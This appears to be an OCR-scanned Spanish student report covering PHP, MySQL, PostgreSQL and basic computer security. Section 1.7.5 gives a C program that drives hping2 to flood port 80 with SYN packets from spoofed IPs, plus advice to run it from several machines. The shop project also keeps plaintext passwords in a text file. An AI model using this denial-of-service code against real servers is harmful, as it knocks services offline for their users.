En al inicializacién se pondran las variables que se van a utilizar en la estructura ciclica y en que valor se
quiere que comiencen. En la parte de condicién se indicara hasta cuando se quiere que las sentencias se ejecuten.
Y en la parte de incremento se indicar4 las variables que se quiere que aumenten y/o decrementen y el patrén con
el que se quiere que lo hagan.

Foreach

Se utiliza para recorrer los datos de tipo arreglo, obteniendo en cada iteracién uno de sus elementos
componentes.

Tiene 2 sintaxis:

e Para arreglos:

foreach(nombre_arregloas $valor)

{

sentencias;

e DPara arreglos asociativos:

foreach(nombre_arreglo as $clave=> $valor)

{

sentencias;

While

El significado de una estructura while es simple. Le dice a PHP que ejecute las sentencias repetidamente,
mientras la expresion sea verdadera. Su sintaxis es:

while (expresion)

{

sentencias;
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Do while

Es muy similar a la estructura while, excepto que la expresiéon se comprueba al final de cada iteracion en
vez de al principio. La principal diferencia frente a las estructuras regulares while es que se garantiza la ejecucion
de la primera iteracién. Su sintaxis es:

do
{

sentencias;
Jwhile (expresion);

1.5.5. FUNCIONES

Una funcién es una parte de cédigo aislada del demas c6digo para realizar un proposito especifico. Su
sintaxis es:

function nombrefuncion (parametros){
sentencias;
return valor;

Hay varias formas de pasar pardmetros a una funcién, entre ellas estd por valor, por referencia, por
defecto.

e Paso de pardmetros por valor. Es la que comtinmente se utiliza ya que lo que en realidad se le manda a la
funcién es una copia del valor de la variable pasada como pardametro y por lo tanto el valor de la variable
pasada no cambia.

nombrefuncion ($a,...)

{

sentencias;
return valor;

e Paso de pardimetros por referencia. En esta forma se le manda una referencia de la ubicacién de la
variable en la memoria y por lo tanto si se modifica el valor de la variable pasada como pardmetro.

nombrefuncion (&$%a,...)

{

sentencias;
return valor;

e Paso de pardmetros por defecto. De esta manera hay parametros que pueden ser opcionales en la llamada
de la funcioén, ya que si no son especificados tomaran un valor predeterminado en la declaracién de la
funcién.
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nomrefuncion ($a,..., $b=2)

{
sentencias;
return valor;

1.5.6. ARCHIVOS
Inclusion de archivos

Es de gran utilidad para la reutilizacion de cédigo sin necesidad de rescribirlo varias veces en diferentes
scripts. Es muy utilizado también para la definicion de librerias que son utilizadas en varios scripts.

Existen dos funciones que nos permiten incluir archivos en otros:

include (“nombre_del_archivo”) Esta funciéon incluye y evalda un
archivo externo cada vez que es
interpretada.

include_once (“nombre_del_archivo”) Es igual a include pero s6lo se puede

incluir el archivo una vez en el
script, sino esta funcién mandara un
error.

Hay varias acciones que se pueden realizar con los archivos para su manejo: abrir, escribir, leer, cerrar.

1.5.7. PROYECTO FINAL DEL MODULO

Para finalizar el médulo se realiza como proyecto final un sitio Web que se dedicara a la venta de
productos por Internet, el cual tendria una péagina inicial con los elementos que se ven en la Fig. 1.5.8.1.
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LISTA DE PRODUCTOS

E ENVIO

NOTA: EL COSTO DE LOS PRODUCTOS Y DEL ENVIO EN DOLARES. NO IMPORTA
EL NUMERO DE UNIDADES QUE ADQUIERA EL USUARIO EL COSTO DE ENVIO
ES EL MISMO.

SELECCIONE EL ARTICULO QUE DESEA COMPRAR Y EL NUMERO DE
UNIDADES

PANTALOMNES »

*¥xCalcular gasto total

Fig.1.5.8.1
Pagina inicial.

El sitio al recibir los datos debe guardar el pedido en un archivo llamado compras.txt que almacena los
pedidos con el siguiente formato:

producto:unidades_pedidas:costo_total:dia_de_compra

El sitio también debe mostrar al usuario el costo total de su pedido en pesos, ya que los precios mostrados
estdn en dolares (1 doélar = 11 pesos), y con los gastos de envio ya contemplados. La pagina deberia tener los
siguientes elementos (Fig. 1.5.8.11):

| PRODUCTO | NUMERO DE UNIDADES | COSTO TOTAL EN PESOS |

IMAGEN DEL PRODUCTO
ADQUIRIDO

Todas las paginas deben tener una cabecera y un pie que se incluyen mediante inclusién de archivos. La
cabecera (cabecera.inc) debe tener los siguientes elementos:

Nombre_empresa Logotipo

Y el pie (pie.inc) debe ser de la siguiente manera:

Fecha

(dd/mm/aaaa) Derechos de autor
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El sitio s6lo aceptara pedidos de hasta 99 productos. También debera haber una pagina (secreta.php) que
no esté ligada a las anteriores pero que acceda al archivo compras.txt para mostrar reportes. Esta pagina debe
contar con una validacién de usuarios por contrasefia y aceptar sélo a los siguientes:

Usuario Contrasena
contador 666

ventas sorpresa
director elmeromero

La lista de usuarios permitidos serd almacenada en un archivo llamado usuarios.txt con el simple formato
usuario:contrasefa.

Dependiendo del usuario que entre a la pagina debera mostrar diferentes reportes. Si entra el contador
debe mostrar el siguiente reporte (Fig. 1.5.8.111):

NUMERO DE COSTO TOTAL DE
PRODUCTO UNIDADES LA COMPRA FECHA DE COMPRA

Si entra el personal de ventas debe mostrar un reporte con los siguientes elementos (Fig. 1.5.8.1V):

COSTO TOTAL DE LA

PRODUCTO NUMERO DE UNIDADES COMPRA

Por ultimo si entra el director de la empresa, la pagina debe mostrar un reporte con los siguientes datos
(Fig. 1.5.8.V):

El producto mas vendido:
Numero de unidades vendidas de dicho producto:
Total de la venta en pesos de dicho producto:

IMAGEN DEL PRODUCTO MAS
VENDIDO

El calculo del costo total lo debe realizar una funcién (funcion_calcula.inc) que también se incluye a las
paginas por medio de inclusién de archivos. El c6digo de la funcién queda de la siguiente forma:

<?
function calcula ($sproducto, $icantidad)
{
if ((is_numeric ($icantidad)) && (substr_count($icantidad, ".") == 0) &&
($icantidad >=1) && ($icantidad <= 99))
{
define ("FDOLAR", 11.00);
$costo ['pantalones'] = 30;
$costo ['camisas'] = 25;
$costo ['zapatos'] = 20;
$costo ['gorras'] = 10;
$gdenv ['pantalones'] = 2;
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$gdenv ['camisas'] = 1.5;

$gdenv ['zapatos'] =1;

$gdenv ['gorras'] = 0.8;

$ftotal = (($icantidad *$ costo [$sproducto])
+$ gdenv [$sproducto]) * FDOLAR;

return $ftotal;

return 0;

Al finalizar el proyecto la pagina compra.php queda como en la Fig. 1.5.8.1L

SU COMPRA

Fig. 1.5.8.11
Pagina compra.php.

El aspecto final de la pagina secreta.php varia dependiendo del usuario que ingrese a la pagina:

Si entra el contador la pagina se ve como la Fig. 1.5.8.111.
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BIENVENIDO CONTADOR

COSTO TOTAL
COMPRA

Fig. 1.5.8.1I1
Péagina secreta.php si entra el contador.

Si entra el personal de ventas la pagina se ve como la Fig. 1.5.8.IV.

NUMERO TOTAL DE OTAL DE LA
UNIDADES VENDIDAS VENTA

Fig.1.5.8.IV
Pagina secreta.php si entra personal de ventas.

Si entra el director de la empresa la pagina se ve como la Fig. 1.5.8.V.
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BIENVENIDO DIRECTOR

El producto mas vendido es: CAMISAS
Nimero de unidades vendidas: 11
Venta total: $3058

NOTA: EN CASO DE HABER DOS O MAS PRODUC (
CANTIDADES VENDIDAS IGUALES, SOLO SE MOSTRARA UNO.

Fig.1.5.8.V
Pagina secreta.php si entra el director.

La estructura jerarquica del sitio se ve en la Fig. 1.5.8.VI.

index.php secreta.php

compra.txt

Fig.1.5.8.VI
Estructura jerarquica del sitio.
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1.6. INTERACCION DE WWW CON BASES DE DATOS

Objetivo

El alumno conocerd y desarrollard una aplicacion de bases de datos que funcione a
través del WWW empleando herramientas de software libre.

1.6.1. CONCEPTOS BASICOS DE LAS BASES DE DATOS

Se define una base de datos como una serie de datos organizados y relacionados entre si, los cuales son
recolectados y explotados por sistemas de informacion.

Objetivos de las bases de datos

¢ Disminucién de la redundancia (Formas Normales).

¢ Consistencia en los datos (Manejar accesos concurrentes).
e Integridad de los datos (Establecida a través de relaciones)
e Seguridad y acceso a los datos.

Modelo relacional

Se basa en una representacion del mundo real a través de objetos llamados entidades (tablas) y las
relaciones entre ellas.

De forma grafica se representa a través de un DER (Diagrama Entidad -Relacion).

Tipos de relacion

Una relacién es la asociaciéon que existe entre un par de entidades existentes. Hay varios tipos de
relaciones dependiendo de la correspondencia que hay entre las entidades relacionadas:

Relacién Descripcion
1:1 Uno a uno.
1:M Uno a muchos.
M:1 Muchos a uno.
M:M Muchos a muchos (este tipo de relacién se debe evitar).
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Tipos de llaves

Las llaves son los atributos mediante los cuales las entidades o tablas se relacionan entre si. Existen
principalmente dos tipos de llaves:

e PK (PRIMARY KEY): La llave primaria es el atributo o conjunto de atributos elegidos para identificar un
elemento de la entidad de forma tinica, puede haber llaves compuestas si es que la llave primaria es mas
de un atributo.

e FK (FOREIGN KEY): La llave foranea es la que se encarga de relacionar las entidades y esta representada
por la llave primaria de otra entidad.

1.6.2. MYSQL

Es uno de los gestores (manejadores) de bases de Datos mds populares desarrolladas bajo la filosofia de
coédigo abierto. Es, probablemente, el gestor més usado en el mundo del software libre, debido a su gran rapidez y
facilidad de uso. Esta gran aceptacion es debida, en parte, a que existen infinidad de librerias y otras herramientas
que permiten su uso a través de gran cantidad de lenguajes de programacién, ademds de su facil instalacién y
configuracion.

Instalacion de MySQL en Linux

Para la instalacién de MySQL so6lo hay que ejecutar las siguientes lineas de comandos de Linux una a una:

$tar —~zxvf mysql-VERSION.tar.gz

$cd mysql-VERSION

$./configure --prefix=/usr/local/mysql4
$make

$makeinstall

$cp support-files/my-medium.cnf /etc/my.cnf
$groupadd mysql

$useradd -g mysql mysql

$cd /ust/local/mysql4
$bin/mysql_install_db--user=mysql
$chown -R root.

$chown -R mysql var

$chgrp -R mysql.

Iniciar y parar MySQL

Para arrancar el demonio de MySQL sélo se debe llamar con el siguiente comando:

| $prefix/bin/mysqld_safe user=mysql & |

Recordar que prefix es la direcciéon en donde se instalé MySQL.

El pardmetro --user=mysql indica que el servicio lo arrancard con el usuario mysql y el simbolo “&”
indica que el servicio arrancard en segundo plano.
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Para que el demonio de MySQL deje de correr se debe ejecutar el comando:

| $prefix/bin/mysqladmin shutdown |

Comunicacion entre MySQL y PHP

Para que esta comunicaciéon se pueda dar y PHP pueda acceder a las bases de datos y modificarlas se
debe agregar el usuario con el que arranca el demonio de Apache a la tabla “user” de la base de datos “mysql”
que el servicio MySQL crea al ser instalado. Esto servird si se tiene instalado PHP como médulo dindmico de
Apache. Esto es para que MySQL permita el acceso a Apache a sus bases de datos y por lo tanto también a PHP.

Para agregar al usuario en la tabla user se puede utilizar el comando de SQL “insert into” que se describe
mas adelante.

Comandos de SQL en MySQL

Para ejecutar los comandos de SQL se utiliza la interfaz de comandos de MySQL, que se inicia con el
siguiente comando:

| $prefix/bin/mysql |

Entre los comandos de SQL que se pueden utilizar se tienen:

Comando Utilidad

status Muestra un resumen del estado y caracteristicas del servidor.

show databases Muestra una lista de los nombres de las bases de datos existentes.

use nombre_db Selecciona la base de datos para trabajar con ella.

show tables Muestra la lista de los nombres de las tablas existentes en una base de datos

determinada (primero se debe seleccionar la base de datos en donde se
encuentra la tabla).

describe nombre_tabla Muestra la estructura o disefio de la tabla especificada (primero se debe
seleccionar la base de datos en donde se encuentra la tabla).
drop table nombre_tabla Borra una tabla.

Crear bases de datos

Para crear una base de datos simplemente se tiene que escribir la siguiente linea en el intérprete de
comandos:

| CREATE DATABASE nombre_de_la_bd; |
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Crear tablas en una base de datos

Para crear una tabla dentro de una base de datos se debe seleccionar la base de datos, esto se puede
realizar con el comando “use”.

El comando para crear una tabla es “create table” y su sintaxis se describe a continuacion:

CREATE TABLE nombre_tabla (

nombre_campol tipo_campol [NOT NULL | NULL] [DEFAULT valor_default]
[AUTO_INCREMENT], nombre_campo?2 tipo_campo?2 ...

[, PRIMARY KEY (nombre_campo) |

[, INDEX (nombre_campo) ]

[, FOREIGN KEY (nombre_campo) REFERENCES tabla_padre (nombre_campo)

ON DELETE CASCADE | SET NULL | NO ACTION

ON UPDATE CASCADE | SET NULL | NO ACTION ])

[TYPE=TIPO_DE_TABLA];

En la sintaxis anterior se puede especificar el tipo de tabla con el parametro TYPE, el tipo mas utilizado
para que se guarde la integridad de la base de datos es “innodb”.

Los parametros ON DELETE y ON UPDATE indican de qué manera se cuidara la integridad de las
tablas. O sea, van a indicar que hacer si se borra o se actualiza un campo de un registro que tiene campos de
registros dependiendo de él o que hacen referencia a él, la opcién mas utilizada es CASCADE ya que borra y
actualiza todos los campos que hacen referencia al registro que se borra o modifica. La opcién SET NULL deja
vacios los campos de los registros que hacen referencia al campo afectado; y NO ACTION no permite borrar o
hacer modificaciones si el campo tiene campos de otros registros haciendo referencia o dependientes de él.

Insertar registros a una tabla.

Para agregar registros a una tabla se debe utilizar el comando “insert into”, su sintaxis es:

| INSERT INTO nombre_tabla (nombre_campol nombre_campo2 ...) VALUES (valorl valor2..); |

También se puede utilizar este comando de la siguiente manera:

| INSERT INTO nombre_tabla SET nombre_campol=valor]l nombre_campo2=valor2... ;

Modificar registros en una tabla

La actualizacién o modificacién de registros se hace con el comando “update”, que tiene la siguiente
sintaxis:

UPDATE nombre_tabla SET nombre_campol=nuevo_valorl
nombre_campo2=nuevo_valor2 ... WHERE condicién;

La condicién en el parametro WHERE sirve para identificar el o los registros que se quieren modificar.
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Borrar registros en una tabla

El comando que sirve para borrar registros en una tabla es “delete”, su sintaxis es la siguiente:

DELETE FROM nombre_tabla
WHERE condicion;

El parametro WHERE que contiene la condicion es idéntico al del comando “update”, puede hacerse una
condicién compuesta utilizando AND y OR como la siguiente:

| WHERE nombre='Pedro’ AND ciudad='"México D.F.” |

Hacer consultas de tablas

El comando que se utiliza para hacer consultas de las tablas de una base de datos es “select”, este
comando también requiere de una condicién para saber que registros mostrar, o si se quiere ver todo el contenido
de la tabla o tablas se puede poner “*” en vez de la condicién, la sintaxis de este comando es la siguiente:

SELECT lista_de_campos_requeridos FROM nombre_tabla WHERE condicion
[ORDER BY nombre_campo [ASC | DESC] |;

El parametro FROM debe contener todas las tablas a las que se hace referencia en la condicién.

Modificar la estructura de una tabla

Para modificar la estructura de una tabla se utiliza el comando “alter” pero no es recomendable cambiar
la estructura de una tabla cuando ésta ya tiene registros almacenados en ella ya que se pueden perder o alterar su
informacioén. La sintaxis de este comando es:

ALTER TABLE nombre_tabla

[ADD nombre_campo tipo_campo [FIRST | AFTER nombre_campo]]
[ADD PRIMARY KEY (nombre_campo)]

[CHANGE nombre_campo_anterior nombre_campo_nuevo tipo_campo]
[DROP nombre_campo]

[RENAME nombre_nuevo_tabla]

[ADD FOREIGN KEY (nombre_campo) REFERENCES tabla_padre
(nombre_campo)];

El comando “alter” permite realizar varios tipos de modificaciones.

Borrar bases de datos y tablas

Para borrar tablas se debe utilizar el siguiente comando en intérprete de comandos de MySQL:

| DROP TABLE nombre_tabla; |
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Para eliminar una base de datos no se debe estar utilizindola y ejecutar el siguiente comando en el
intérprete de MySQL:

| DROP DATABASE nombre_bd; |

1.6.3. RESPALDOS DE BASES DE DATOS

Para hacer respaldos de las bases de datos se utiliza la aplicaciéon “mysqldump” que nos permite crear
archivos que contienen toda la informacién necesaria para restablecer una base de datos en caso de que se halla
dafiado o perdido. Para hacer un respaldo se debe utilizar la siguiente linea de comandos en el prompt de Linux:

| $prefix/bin/mysqldump nombre_bd > ruta_deseada/nombre_respaldo.sql |

Para restablecer una base de datos utilizando un archivo creado por “mysqldump” se debe crear primero,
con “create database”, una base de datos con el nombre que se desee para que dentro de ésta se creen las tablas
con su contenido almacenadas en el archivo “.sql”. Después de haber creado la base de datos vacia mencionada
se debera ejecutar la siguiente linea para crear las tablas con su contenido:

| $prefix/bin/mysql nombre_bd_creada < nombre_respaldo.sql |

1.6.4. PROYECTO FINAL DEL MODULO

Para la parte final del médulo se pide un sistema para una empresa de venta de equipo de cémputo, el
sistema debera almacenar los datos de las facturas y dejar hacer consultas sobre ellos. También deberia mostrar
los datos de las facturas en el formato en el que se imprimirian en papel.

El sistema debera tener médulos de captura de facturas, de modificacién de facturas, de basqueda de
facturas y de borrado de facturas.

La programacion se realizé con PHP, incluyendo las conexiones a la base de datos realizada con MySQL.
La pégina principal del sistema (“index.php”) queda como en la Fig. 1.6.4.L.
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Fig. 1.6.4.1

Pagina principal.

En esta misma pégina se tienen botones para acceder a todos los médulos del sistema que se muestran en
la Fig. 1.6.4.11.
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Fig. 1.6.4.11
Botones de la pagina principal.

La pagina de captura de facturas (“agregar.php”) quedé como se ve en la Fig. 1.6.4.111.
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Fig. 1.6.4.I1I
Pagina de captura de facturas.

Esta pagina después de que el usuario captura correctamente los datos de la factura lo manda a otra
pagina (“impresién.php”) que le muestra los datos y los totales en costo en el formato final en el que se
imprimird en papel, como se ve en la Fig. 1.6.4.1V.
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Fig. 1.6.4.IV
Formato final de impresion de factura.

El Diagrama Entidad-Relacién de la base de datos (“facturas”) utilizada para este sistema se ve en la Fig.
1.6.4.V.
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cliente factura articulo
(PK) idcliente int NN \ (PK) idfactura int NN (PK) idarticulo int NN
nombre varchar(50) NN idcliente int NN nombrecorto varchar(15) NN
appaterno varchar(30) nofactura int NN descripcion varchar(80) NN
apmaterno varchar(30) nopedido int NN precio flota NN
rfc varchar(13) NN fecha date NN marca varchar(15) NN
calle varchar(30) NN representante varchar(80) NN modelo varchar(15) NN
noexterior varchar(10) NN articulos varchar(100) NN color varchar(7) NN
nointerior varchar(10) cantidades varchar(100) NN formato varchar(10) NN
colonia varchar(30) NN
cp varchar(5)
delegacion varchar(30)
ciudad varchar(30) NN
estado varchar(30) NN
telefono varchar(15) NN

Fig.1.6.4.V

Diagrama Entidad-Relacion de la BD facturas.

La estructura jerarquica de las paginas se ve en la Fig. 1.6.4.VI.

index.php
I
agregar.php borrar.php actualizar.php filtrar.php
impresion.php actualizar2. php
Fig. 1.6.4.VI

Estructura jerarquica del sitio.

62



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

1.7. INTRODUCCION A LA SEGURIDAD EN COMPUTO

Objetivo

El participante reconocerd la importancia de la seguridad e identificara los elementos

que le permitiran proteger el sistema y la informacién.

1.7.1. CONCEPTOS BASICOS DE SEGURIDAD

La seguridad para el area de cémputo se define como un conjunto de mecanismos aplicados a las

tecnologias de informacién con el tnico fin de preservar la confidencialidad, integridad y disponibilidad de la
informacién de un sistema. Estos conceptos y otros se describen a continuacién:

Confidencialidad. Es cuando la informacién manipulada por el sistema no es disponible ni puesta en
descubierto para usuarios, entidades o procesos no autorizados.

Integridad. Es cuando los datos manipulados por el sistema no son alterados o destruidos por usuarios,
entidades o procesos no autorizados.

Disponibilidad. Es cuando la informacién esta disponible en el momento en que asi lo deseen los
usuarios, entidades o procesos autorizados.

Vulnerabilidad. Es una debilidad en un sistema computacional que permite que la confidencialidad,
integridad y/o disponibilidad del servicio que éste ofrece sean afectadas o anuladas. En el &mbito de la

seguridad computacional una vulnerabilidad también es conocida como “hoyo”.

Control de acceso. Permite definir quién puede o no tener acceso a ciertos recursos, dependiendo de los
privilegios o atributos que posea para proteger los recursos del sistema contra el uso no autorizado.

Autentificacién. Se refiere a demostrar la identidad de las entidades involucradas en la transaccion. Evita
que alguien tome la identidad de otro.

Con respecto a lo que utiliza o en lo que se basa, hay tres tipos de autenticacion:

Basada en algo que se sabe

Passwords.
Frases.
Ntumeros de identificacién personal (NIP).

Este método siendo el sistema de autenticacién mas usado hoy en dia.

Basada en algo que se es

e Biométricas. e Comportamiento.
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Se realiza una medicién fisica y se compara con un perfil almacenado con anterioridad.
Basadas en algo que se tiene

Consta en usar un objeto fisico que llevan consigo y que de alguna forma comprueba la identidad del
portador.

e Tarjetas inteligentes. e Dases.

Politicas de seguridad

Una politica de seguridad es un conjunto de reglas formales que deben ser respetadas por la organizacién
que tiene acceso a los sistemas de informacién. La correcta implementacion de estas reglas, mediante servicios o
mecanismos de seguridad, garantizara la seguridad del sistema.

Para implementar una politica de seguridad se deben seguir varios pasos:

e Identificar qué se intenta proteger.

e Determinar de quién se trata de proteger.

e Determinar los riesgos y su frecuencia.

e Implementar medidas de proteccion de los activos de una manera simple y efectiva.

e Realizas un proceso continuo de la politica y hacer mejoras continuas cada vez que una debilidad sea
encontrada.

1.7.2. CRIPTOGRAFIA

Es el conjunto de técnicas o procedimientos que alteran los simbolos de informacién sin alterar el
contenido, convirtiendo a la informacién modificada en un conjunto de simbolos sin contenido para las partes
que no disponen de las técnicas de encriptamiento. Tomando bésicamente los siguientes objetivos:

¢ Que la informacién contenida en el mensaje permanezca secreta para quien debe serlo.

¢ Que el mensaje al ser recibido contenga la informacién que se envié sin modificar.
e Que tanto el emisario como el receptor sean quien deben ser.

Principios de la criptografia
Las técnicas de cifrado se basan en dos principios utilizados en la época romana:

Transposicion Substitucion

Consiste en mover los simbolos del mensaje original | Consiste en establecer correspondencia entre las letras
colocdndolos en un orden distinto, de manera que el | del alfabeto en el que esta escrito el mensaje original y
criptograma contenga los mismos elementos del texto | los elementos de otro conjunto que puede ser el
claro, pero colocados de tal forma que resulten | mismo o distinto alfabeto.

incomprensibles.
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Métodos de cifrado

Los métodos de cifrado utilizan una llave de cifrado para encriptar el mensaje, esta llave se puede sumar
al mensaje por medio de la tabla de XOR por ejemplo para la suma binaria en una computadora.

Existen dos tipos de métodos de cifrado:

Métodos simétricos

Métodos asimétricos

La llave para la encripcion es la misma que para la
desencripcién del mensaje, por o que la llave debe
estar oculta y sélo conocerla las personas que estén
acreditadas para leer el mensaje.

e Encripcién en flujo. El mensaje es cifrado
caracter a caracter.

e Encripcion en bloque. Se cifra el mensaje
original agrupando los simbolos en grupos
(bloques) de dos o mas elementos.

La llave de encripcién es diferente de la llave de
desencripcién. La llave de encripcién es conocida por
todo el pablico, mientras que la llave de desencripciéon
solo es conocida por una sola persona que es la que
podra leer los mensajes.

1.7.3. ESTEGANOGRAFIA

Conjunto de técnicas que permiten ocultar cualquier tipo de datos. La informacién puede esconderse de

cualquier forma

e Esconder documentos electrénicos dentro de imagenes.
e Aprovechar campos no usados de los paquetes de protocolos de redes.

Criptografia contra esteganografia

Criptografia

Esteganografia

El mensaje encriptado da sospechas de que algtn tipo

de informacién confidencial esta viajando en la red.

El mensaje nunca dard sospechas ya que
puede viajar en imdagenes totalmente
inofensivas.

La imaginacion de las partes involucradas es
la Gnica limitante.

Para conseguir un buen beneficio de ambas partes y hacer que un mensaje sea mucho més seguro, lo ideal
seria enviar el mensaje oculto por medio de esteganografia y aparte ese mensaje ir encriptado.

1.7.4. ATAQUES

Un ataque es la accion o acciones que tienen por objetivo el que cualquier parte de un sistema de
informacién automatizado, deje de funcionar de acuerdo con su propésito definido. Esto incluye cualquier accién
que causa la destruccion, modificacién o retraso del servicio no autorizado.
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Ataques pasivos

Su objetivo es obtener la mayor cantidad de informacién del sistema de informacién que se quiere
comprometer. Este ataque como tal no hace ningtn dafio pero puede proporcionar informacion a personas no
deseadas.

Entre la gama de estos ataques estan:

e Sniffing. Permite “escuchar” los datos que circulan por una red gracias a que Ethernet utiliza broadcast
para el envio de su informacién.

e Escaneo de puertos. Permite saber que puertos estan cerrados y cuales no. Existen varias técnicas para
realizar un escanéo de puertos:

La técnica mds simple es realizar conexiones completas al puerto del cual se quiere saber su
estado. Esto se puede realizar con:

| $telnet IP_deseada Puerto_deseado |

Otra técnica consiste en enviar peticiones SYN al puerto deseado y esperar la respuesta.

Ataques activos

El objetivo de estos tipos de ataque es tener acceso al sistema que se intenta comprometer.
Entre la gran variedad de este tipo de ataques se tiene:

e Arp-poisoning. Su objetivo es envenenar la tabla ARP de un switch con el fin de “sniffear” en una red
segmentada. Una vez inundada la tabla ARP, es posible escuchar todas las comunicaciones establecidas
por los equipos que se encuentran en la red segmentada.

e Explotar vulnerabilidades de tipo Snack-overflows. Se produce una situacién de desbordamiento del
buffer cuando un usuario o un proceso intenta introducir en el buffer mas datos de los originalmente
permitidos. Aprovechando esta situacion se puede conseguir acceder al sistema.

e Negacién de servicio (DoS). Su objetivo principal es impedir que un organismo proporcione el servicio
para el que fue creado. Busca elevar los indices de utilizacién de algtin servicio o sistema hasta bloquear
totalmente el acceso al mismo desde el exterior.

e Virus/gusanos. Causan un efecto inesperado y por lo general indeseable al estar presente en un sistema de
computo. Algunos son inofensivos en su propésito y efecto, pero otros pueden ser enormemente dafiinos

1.7.5. PROYECTO FINAL DEL MODULO

Como proyecto final se realizé un programa en lenguaje C que ejemplifica el principio basico del
funcionamiento de un ataque de negacién de servicio.

El ataque principalmente lo que hace es enviar paquetes con la bandera SYN a un determinado servidor,
la IP de origen es cambiada constantemente (“spoofing”) para que el servidor no detecte el origen del ataque y no
pueda bloquear las direcciones IP reales de donde se realiza el ataque de negacién de servicio.

El puerto de destino debe estar abierto, en este caso debera estar abierto el puerto 80 que es el destinado
para http.
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Para tener un buen resultado del ataque se deberé ejecutar en varias maquinas y asi el servidor no podra
darse abasto con tantas peticiones y terminara por no ofrecer el servicio a sus usuarios.

La herramienta que se utiliza para mandar los paquetes y hacer “spoofing” a las direcciones IP origen es
hping?2 y el comando que se ejecuta es:

| $hping2 -c 1 -S IP_destino -a IP_origen -p Puerto_deseado |

El co6digo del script es sencillo y se muestra a continuacion:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
int a,b,c,d,pid,estado;
char ip_destino[ ]="127.0.0.5"; / / Variable para la IP destino
char ip_origen[15];
for(a=0;a<=255;a++)
for(b=0;b<=255;b++)
for(c=0;c<=255;c++)
for(d=1,d<=255;d++)

{
sprintf(ip_origen,"%d.%d.%d.%d",a,b,c,d);
if((pid = fork()) == 0)
execl("/usr/sbin/hping2","hping2","-c","1",
"-5",ip_destino,"-a",ip_origen,"-p","80",0);
if(pid == -1)
printf("NO SE CREO EL PROCESO HIJO\n");
if(pid >=0)
while(waitpid(pid,&estado,0) != pid);
}

return 0;
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1.8. DESARROLLO DE APLICACIONES CON POSTGRESQL Y
PHP

Objetivo

El participante creard aplicaciones dindmicas e interactivas de bases de datos para
Internet con técnicas avanzadas del lenguaje PHP y la base de datos PostgreSQL.

1.8.1. POSTGRESQL

Es un gestor de bases de datos pionero en cuanto a que es objeto-relacional, ya que incluye caracteristicas
de la orientacién a objetos, como son la herencia, tipos de datos, funciones, restricciones, etc.

Instalacion de PostgreSQL

Para la instalacion de PostgreSQL s6lo hay que ejecutar las siguientes lineas de comandos de Linux una a
una (para la instalacién se debe ser super usuario):

$ tar zxvf postgresql-VERSION.tar.gz

$ cd postgresql-VERSION

$ ./configure --prefix=/ust/local/pgsql

$ make

$ make install

$ adduser postgres

$ mkdir fust/local/pgsql/data

$ chown postgres fust/local/pgsql/data

$ su - postgres

$ /ust/local/pgsql/bin/initdb -D /usr/local/pgsql/data
$ /usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data >logfile 2>&1 &

Iniciar PostgreSQL

Para inicializar el demonio de PostgreSQL se debe ser el usuario postgres, por lo que habra que ejecutar el
comando:

| $su postgres |

También se debe crear una variable de ambiente para este usuario llamada PGDATA y su valor debera
ser la ruta en donde se encuentran almacenadas las bases de datos:

| $export PGDATA=/usr/local/pgsql/data |
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Por dltimo se debe iniciar el demonio de PostgreSQL con el siguiente comando:

| $ /ust/local/pgsql/bin/pg_ctl start & |

Hasta aqui se ha inicializado el demonio de PostgreSQL, si se quiere entrar a la linea de comandos de
PostgreSQL se debe utilizar el siguiente comando siendo el usuario postgres:

| $prefix/bin/psql [usuario] nombre_bd |

Existe una base de datos desde que se instala el programa que permite entrar a la linea de comandos de
PostgreSQL, esto puede funcionar para acceder a la linea de comandos cuando el usuario ain no ha creado una
base de datos. El nombre de esta base de datos es: “templatel”.

Algunos comandos importantes de PostgreSQL

Dentro de la linea de comandos de PostgreSQL se cuenta con muchos comandos con diferentes funciones,
a continuacion se listan algunos de estos:

Comando Utilidad

\h COMANDO Muestra la ayuda con respecto a los comandos de SQL.

\? Muestra la ayuda con respecto a los comandos de PostgreSQL.
\g Indica la terminacién de un comando determinado (similar a “;”).
\q Sirve para salir de la linea de comandos de PostgreSQL.

\I Lista las bases de datos existentes.

\ ¢ nombre_bd Cambia de base de datos utilizada.

\p Muestra lo que hay en el buffer (muestra tltimo comando).

\e Sirve para editar lo que hay en el buffer.

\d nombre_tabla Muestra los campos y caracteristicas de una tabla.

\dt Muestra las tablas existentes en la base de datos que se esta utilizando.

\ o nombre_arch

Lo que se escribe a continuaciéon de la ejecuciéon de este comando es mandado a un
archivo indicado como “nombre_arch”, para indicar el fin de la informacién enviada al
archivo se debe ejecutar este comando nuevamente.

\i archivo.sql

Procesa un script de instrucciones SQL indicado en el pardmetro “archivo.sql”.

Creacion de bases de datos

Una base de datos se puede crear desde la linea de comandos de Linux con el siguiente comando:

| § prefix/bin/createdb nombre_bd |

Otra forma de crear una base de datos de PostgreSQL es desde su propia linea de comandos con el

siguiente comando:

| create database nombre_bd |
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Creacion de tablas

Una tabla se debe crear forzosamente desde la linea de comandos de PostgreSQL y se debe estar
utilizando la base de datos a la que se quiere que pertenezca la tabla.

Para crear una tabla se debe utilizar el siguiente comando:

| create table nombre_tabla (nombre_campol tipo_campo nombre_campo2 tipo_campo ...); |

Se hace tala como MySQL.

Insertar registros en una tabla

Para insertar datos en una tabla se debe estar utilizando la base de datos en la cual se encuentra la tabla.
El siguiente comando es el que se utiliza para la inserciéon de datos en una tabla determinada:

INSERT INTO nombre_tabla [(nombre_campol nombre_campo2
...)] VALUES (valor_campol valor_campo? ...);

Los nombres de los campos se puede excluir si se van a llenar todos los campos existentes de la tabla y
ademas se escriben los valores deseados en el orden en que estdn los campos en la tabla.

Actualizar datos de una tabla

Para actualizar y/o modificar determinados datos de una tabla se debe utilizar el comando “update”, su
sintaxis es la siguiente:

UPDATE nombre_tabla SET nombre_campol = nuevo_valorl
nombre_campo2 = nuevo_valor2 ... WHERE condicion;

Como se menciond anteriormente el parametro WHERE sirve para indicar mediante una condicién o
varias condiciones el/los registro(s) que se quiere(n) modificar.

Constraints

Los constraints son restricciones que se pueden utilizar para condicionar el ingreso de un valor en un
campo determinado. Los constraint se indican en la creacién de la tabla y sus campos, se escriben junto con el
campo que se desea afectar. Existe gran variedad de constraints, a continuacién se mencionan solo algunos:

Constraint Descripcién

CONSTRAINT nombre Define el nombre del constraint.

NOT NULL jue el valor sea nulo.

